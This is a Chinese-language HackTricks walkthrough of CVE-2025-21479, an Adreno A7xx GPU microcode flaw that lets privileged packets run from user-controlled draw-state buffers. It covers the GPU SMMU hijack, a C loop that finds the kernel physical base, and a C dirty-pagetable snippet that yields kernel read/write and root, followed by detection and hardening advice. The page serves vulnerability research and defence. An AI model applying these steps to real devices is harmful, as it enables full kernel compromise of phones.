Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本页将一次在野外发现的 Adreno A7xx microcode 逻辑错误 (CVE-2025-21479) 抽象为可重现的利用技术:滥用 Set Draw State (SDS) 中的 IB 级别掩码来从非特权应用执行特权 GPU packets,进而转向 GPU SMMU takeover,并通过 dirty-pagetable trick 快速、稳定地获得内核 R/W。

  • 受影响:Qualcomm Adreno A7xx GPU firmware 在修复之前,该修复将寄存器 $12 的掩码从 0x3 改为 0x7。
  • 基本原语:在 SDS(由用户控制)中执行特权 CP packets(例如 CP_SMMU_TABLE_UPDATE)。
  • 结果:任意物理/虚拟内核内存 R/W、禁用 SELinux、root。
  • 先决条件:能够创建 KGSL GPU context 并提交进入 SDS 的 command buffers(普通应用能力)。

背景:IB levels, SDS and the $12 mask

  • 内核维护一个 ringbuffer (RB=IB0)。用户空间通过 CP_INDIRECT_BUFFER 提交 IB1,并链式到 IB2/IB3。
  • SDS 是通过 CP_SET_DRAW_STATE 进入的特殊 command stream:
  • A6xx:SDS 被视为 IB3
  • A7xx:SDS 移到 IB4
  • microcode 在寄存器 $12 中跟踪当前的 IB 级别,并对特权 packets 进行门控,使之仅在有效级别对应于 IB0(内核 RB)时被接受。
  • 漏洞:A7xx microcode 在掩码 $12 时使用了 0x3(2 位),而不是 0x7(3 位)。由于 IB4 & 0x3 == 0,SDS 被错误地识别为 IB0,从而允许来自用户控制的 SDS 的特权 packets。

为什么它很重要:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Microcode diff 示例 (patch switched the mask to 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

利用概述

目标:通过 SDS(被误读为 IB0)发送特权 CP 包,将 GPU SMMU 重定向到攻击者构造的 page tables,然后使用 GPU copy/write 包实现任意物理 R/W。最终通过 dirty pagetable 将权限转移到高速的 CPU 侧 R/W。

高层流程

  • 在共享内存中构造一个假的 GPU pagetable
  • 进入 SDS 并执行:
    • CP_SMMU_TABLE_UPDATE -> 切换到假的 pagetable
    • CP_MEM_WRITE / CP_MEM_TO_MEM -> 实现写/读原语
    • CP_SET_DRAW_STATE 并设置 run-now 标志(立即调度)

通过假页表实现的 GPU R/W 原语

  • 写:使用 CP_MEM_WRITE 写入到攻击者选择的 GPU VA,其 PTEs 被映射到选定的 PA -> 任意物理写
  • 读:CP_MEM_TO_MEM 将目标 PA 的 4/8 字节复制到用户态共享缓冲区(对于更大读取则批量复制)

说明

  • 每个 Android 进程都会获得一个 KGSL context(IOCTL_KGSL_GPU_CONTEXT_CREATE)。切换 context 通常会在 RB 中更新 SMMU 表;该漏洞允许你在 SDS 中进行此操作。
  • 过多的 GPU 流量可能导致 UI 黑屏和重启;读取通常很小(4/8B),并且默认同步较慢。

构建 SDS 命令序列

  • 将假的 GPU pagetable 喷洒到共享内存中,确保至少有一个实例位于已知的物理地址(例如通过 allocator grooming 和重复)。
  • 构造一个 SDS 缓冲区,按顺序包含:
    1. CP_SMMU_TABLE_UPDATE 指向假的 pagetable 的物理地址
    2. 一个或多个 CP_MEM_WRITE 和/或 CP_MEM_TO_MEM 包,使用新的映射实现 R/W
    3. CP_SET_DRAW_STATE 并设置 run-now 标志

具体的 packet 编码随固件而异;使用 freedreno 的 afuc/packet 文档来组装 words,并确保驱动会走 SDS 提交路径。

在 physical KASLR 下查找 Samsung kernel physbase

Samsung 在 Snapdragon 设备上会在已知区域内对 kernel physical base 进行随机化。对预期范围进行暴力枚举,并查找 _stext 的前 16 个字节。

示例循环

c
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

一旦已知 physbase,使用线性映射计算内核虚拟地址:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

将 CPU 侧内核 R/W 稳定为快速、可靠 (dirty pagetable)

GPU R/W 慢且粒度小。通过破坏自身进程的 PTEs(“dirty pagetable”)切换到一个快速且稳定的原语:

步骤

  • 使用慢速 GPU R/W 原语定位当前的 task_struct -> mm_struct -> mm_struct->pgd
  • mmap 两个相邻的 userspace 页面 A 和 B(例如,位于 0x1000)
  • 遍历 PGD->PMD->PTE 来解析 A/B 的 PTE 物理地址(辅助函数:get_pgd_offset, get_pmd_offset, get_pte_offset)
  • 将 B 的 PTE 覆盖为指向管理 A/B 的最后一级 pagetable,并设置为 RW 属性(phys_to_readwrite_pte)
  • 通过 B 的 VA 写入以修改 A 的 PTE,使其映射目标 PFNs;通过 A 的 VA 读/写内核内存,刷新 TLB 直到哨兵位翻转
示例 dirty-pagetable pivot snippet
c
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx);
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
uint64_t pte_off = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte + pte_off;
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) flush_tlb();

检测与加固

  • 固件/微代码: 修复所有将 $12 掩码为 0x7 (A7xx) 的位置并审计特权 packet gates
  • 驱动: 验证特权 packets 的有效 IB 级别并对每个上下文强制实施 allowlists
  • 遥测: 当 CP_SMMU_TABLE_UPDATE (或类似特权操作码) 出现在 RB/IB0 之外时发出警报,尤其是在 SDS 中;监控异常的 4/8 字节 CP_MEM_TO_MEM 突发和过度的 TLB 刷新模式
  • 内核: 加固 pagetable 元数据并检测用户 PTE 损坏模式

影响

具有 GPU 访问权限的本地应用可以执行特权 GPU packets,劫持 GPU SMMU,获得任意内核物理/虚拟 R/W,禁用 SELinux 并在受影响的 Snapdragon A7xx 设备(例如 Samsung S23)上获取 root。严重性:高(内核妥协)。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks